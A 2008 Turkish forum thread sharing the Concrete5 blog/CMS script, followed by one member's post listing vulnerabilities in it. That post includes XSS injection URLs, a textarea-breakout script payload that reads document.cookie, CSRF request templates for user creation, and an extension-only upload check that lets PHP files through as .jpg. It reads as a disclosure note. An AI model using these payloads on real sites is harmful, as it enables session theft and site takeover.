Multi Blog Scripti :D Süper Bişi Sanırım Blog Dağıtma

05-12-2008, 17:03:34

Süper Bi Script Tekbik Özellikler Vs Ama Fazla İnceleme Şansım Olmadı Paylaşım Dedim Kesinlikle W rz Değildir

Ne Yapım Ne Paylaşsam W rz Değil Mi Diyorsunuz

Demo : Get Concrete5! :: Demo

Dowload : RapidShare: Easy Filehosting

Arkadaşlar Isteyene Fransızca Ve Almanca Dil Dosyalarını Verim Dicem Ne Yapcaksınız

Çevirin işte

05-12-2008, 17:37:46

#2

RoZx

Ücretsiz değil sanırım ?

05-12-2008, 17:40:32

#3

RifatOzkan

yo ücretiz

www.surmene.com/blog da kurulama devam edemedım sanırım hostum desteklemıyor web server :S galıba subdomaın le ılgılı script wrz degıldır

05-12-2008, 17:58:35

#4

HazarHizmet

sanırım demisin ama
multi blog demek blog dağıtmak sanırım yok

Türkçe Cevirildi Zaman kullanılabilir sanırsam paylasım için + ladım.

05-12-2008, 18:37:38

#5

RifatOzkan

HazarHizmet adlı üyeden alıntı: mesajı görüntüle

sanırım demisin ama
multi blog demek blog dağıtmak sanırım yok

Türkçe Cevirildi Zaman kullanılabilir sanırsam paylasım için + ladım.

Dilim :P O kadar Dönüyor ne edim

05-12-2008, 21:45:10

#6

WTF

Script güzel ama Bikaç açık buldum (XSS/XSRFi,Arbitrary File Upload Vulnerability,MSIE Arbitrary Script Insertion) Resim yükleme kontolcüsü sadece uzantıya göre kontrol yaptıgından php dosyasını .jpg olarak upload edilebiliyor herhangi bir RFI acıgında kullanım için tehlike oluştuyor diyerleride sunlar

Alıntı

XSS
-------------------------------------------------------------------------------------------
[USER].getconcrete5.com/index.php/dashboard/users?task=simple_search&uVal=[XSS]
-------------------------------------------------------------------------------------------

XSRF
-------------------------------------------------------------------------------------------
POST /index.php/dashboard/users?task=create HTTP/1.1
Cookie: CONCRETE5=f43e97dd4e3593b340f620c2bfd87c26; ccmUserHash=1%3A8f2eaf650ba8cb3ca64aedf63788c167
Content-Disposition: form-data; name="_disableLogin"
Content-Disposition: form-data; name="uName"
Content-Disposition: form-data; name="uPassword"
Content-Disposition: form-data; name="uEmail"
Content-Disposition: form-data; name="uAvatar"; filename=""
Content-Disposition: form-data; name="create"
-------------------------------------------------------------------------------------------

XSRF
-------------------------------------------------------------------------------------------
Update User Attribute ---> TYPE* --->HTML Text(Not Interactive)
Values * [Not Check Evil Code]
Values field is a HTML textarea section if we are but </textarea> whit XSS code that will be run

[USER].getconcrete5.com/index.php/dashboard/users/attributes?ukID=3&task=edit
XSS CODE: </textarea>'"><script>alert(document.cookie)</script>
Result: <textarea id="ukValues" name="ukValues" style="width: 100%; height: 120px">'">alert(document.cookie)</textarea>'"><script>alert(document.cookie)</script></textarea>
-------------------------------------------------------------------------------------------

XSRF
-------------------------------------------------------------------------------------------
index.php/dashboard/groups?gID=4&task=edit&gName=a&gDescription=[XSRF]&update=1
<textarea name="gDescription" style="width: 100%; height: 120px">[XSRF]</textarea></td>
-------------------------------------------------------------------------------------------

XSRF
-------------------------------------------------------------------------------------------
Page Type-->Edit Page Type
Name * and Handle * parametre not check evil xss code

Attacker may use whit XSRF
-------------------------------------------------------------------------------------------
Sitewide Settings-->Site Name parametre had a MSIE Arbitrary Script Insertion, not check evil HTML Meta code

Ayrıca Kendi Sitesindede Açık Var Daha Kendi Sİtelerine Bakmadan Script Satıyorlar

Alıntı

concrete5.org/search?search_paths%5B%5D=&query=[XSS]+&submit=%3E

05-12-2008, 22:56:13

#7